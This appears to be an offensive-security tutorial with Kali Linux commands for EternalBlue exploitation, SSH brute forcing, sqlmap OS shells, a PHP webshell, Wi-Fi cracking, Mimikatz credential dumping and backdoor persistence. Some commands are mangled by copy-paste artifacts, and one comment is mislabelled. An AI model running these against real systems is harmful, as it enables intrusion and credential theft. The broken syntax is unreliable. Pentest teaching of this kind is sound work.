Here’s a step-by-step guide to identify and exploit vulnerabilities in networks, web applications, and wireless systems , using Kali Linux and industry-standard tools:

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1. Network Vulnerability Identification & Exploitation

A. Identify Vulnerabilities

• Tools :
  • Nmap : Scan for open ports and services.bashCopy1nmap -sV -T4 -p- 192.168.1.100 # Full scan with service detection
  • Nessus/OpenVAS : Identify CVE-based vulnerabilities.bashCopy1sudo openvas-start # Start OpenVAS services
  • Nmap NSE Scripts :bashCopy1nmap –script=vuln 192.168.1.100 # Run vulnerability scripts
• Common Vulnerabilities :
  • Unpatched services (e.g., SMB, Apache, SSH).
  • Misconfigured firewalls.
  • Default credentials (e.g., admin:admin).

B. Exploit Vulnerabilities

• Metasploit Framework :bashCopy12345msfconsolesearch exploit/windows/smb/ms17_010_eternalblue # EternalBlue exploit (CVE-2017-0144)use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 192.168.1.100exploit
• Common Exploits :
  • Unpatched SMB : EternalBlue (Windows).
  • SSH Misconfigurations : Brute-force attacks with Hydra .bashCopy1hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh
  • Weak Passwords : Use John the Ripper or Hashcat to crack hashes.

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2. Web Application Vulnerability Identification & Exploitation

A. Identify Vulnerabilities

• Tools :
  • OWASP ZAP : Automated web app scanning.
  • sqlmap : Detect SQL injection.bashCopy1sqlmap -u “http://target.com/login.php?user=admin” –dbs
  • DirBuster : Enumerate directories and files.
  • Burp Suite : Intercept and manipulate HTTP requests.
• Common Vulnerabilities :
  • SQL Injection (SQLi).
  • Cross-Site Scripting (XSS) .
  • Insecure File Uploads .
  • Broken Authentication .

B. Exploit Vulnerabilities

• SQL Injection :
  • sqlmap -u “http://target.com/login.php?user=admin” –os-shell # Get an OS shell
• XSS : Inject malicious JavaScript in a vulnerable input field:html
  • <script>alert(‘XSS’)</script>
• File Upload Exploits : Upload a PHP webshell (e.g., webshell.php):
  • <?php system($_GET[‘cmd’]); ?>
  • Access via http://target.com/upload/webshell.php?cmd=id.
• Broken Authentication : Use Burp Suite to intercept and replay authentication tokens.

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3. Wireless Network Vulnerability Identification & Exploitation

A. Identify Vulnerabilities

• Tools :
  • Aircrack-ng : Crack WPA/WPA2 passwords.
  • Wireshark : Analyze wireless traffic.
• Common Vulnerabilities :
  • Weak WPA/WPA2 passwords.
  • WEP encryption (easily cracked).
  • Rogue access points.
  • Weak SSIDs or default credentials.

B. Exploit Vulnerabilities

• WPA/WPA2 Cracking :
  1. Capture handshake:
     • airodump-ng wlan0mon -c 6 –bssid [BSSID] -w handshakes
  2. Crack with a wordlist:
     • aircrack-ng -w /usr/share/wordlists/rockyou.txt handshakes-01.cap
• WEP Cracking :
  • airodump-ng –bssid [BSSID] -c 6 –essid [SSID] -w wep_handshake wlan0mon
  • aireplay-ng -1 0 -a [BSSID] wlan0mon # Deauthenticate clients
  • aircrack-ng -b [BSSID] wep_handshake*.cap
• Rogue AP Attack : Create a fake AP with Hostapd and Dnsmasq to capture credentials.

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4. Post-Exploitation & Privilege Escalation

A. Maintain Access

• Meterpreter :
  • meterpreter > sysinfo # Get system info
  • meterpreter > shell # Get a shell
• Backdoors : Add a user or modify system files to ensure persistent access.

B. Privilege Escalation

• Linux :
  • Use LinEnum /LinPEAS to find misconfigurations.
    • ./LinEnum.sh -u
  • Exploit SUID binaries or misconfigured services (e.g., sudo rules).
• Windows :
  • Use Mimikatz to dump credentials.
    • mimikatz.exe “privilege::debug””sekurlsa::logonpasswords”exit
  • Exploit misconfigured services (e.g., Serv-U FTP ).

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5. Quick Reference Table

Target	Tool	Command/Usage
Network	Nmap	nmap -sV -T4 -p- 192.168.1.100
Web	sqlmap	sqlmap -u "http://target.com/login.php" --dbs
Wireless	Aircrack-ng	aircrack-ng -w wordlist.txt handshakes.cap
Exploitation	Metasploit	msfconsole; use exploit/windows/smb/ms17_010_eternalblue

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6. Best Practices

• Authorization : Always obtain written permission.
• Minimize Impact : Avoid DoS attacks or data corruption.
• Document Everything : Log commands, findings, and screenshots.
• Use VMs : Test in a controlled environment (e.g., Metasploitable VM).
• Stay Updated : Follow CVE databases (e.g., CVE Details ).

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Example Workflow

1. Network :
   • Scan with Nmap to find an unpatched SMB service.
   • Exploit with Metasploit’s EternalBlue .
   • Use Meterpreter to escalate privileges.
2. Web :
   • Use sqlmap to find a SQLi vulnerability in a login form.
   • Dump the database and extract credentials.
3. Wireless :
   • Capture a WPA handshake with Aircrack-ng .
   • Crack it with a wordlist to gain network access.

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Resources for Mastery

• Practice Platforms :
  • Hack The Box (Real-world scenarios).
  • TryHackMe (Guided labs).
• Certifications :
  • OSCP (Offensive Security Certified Professional) .
  • CEH (Certified Ethical Hacker) .

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Final Tips

• Automate : Script repetitive tasks (e.g., Nmap scans with nmap -oX report.xml).
• Join Communities : Engage with forums like Offensive Security or Reddit’s r/penetrationtesting .

By following these steps and using Kali Linux’s tools, you can systematically identify and exploit vulnerabilities in networks, web apps, and wireless systems while adhering to ethical standards. 🔍💻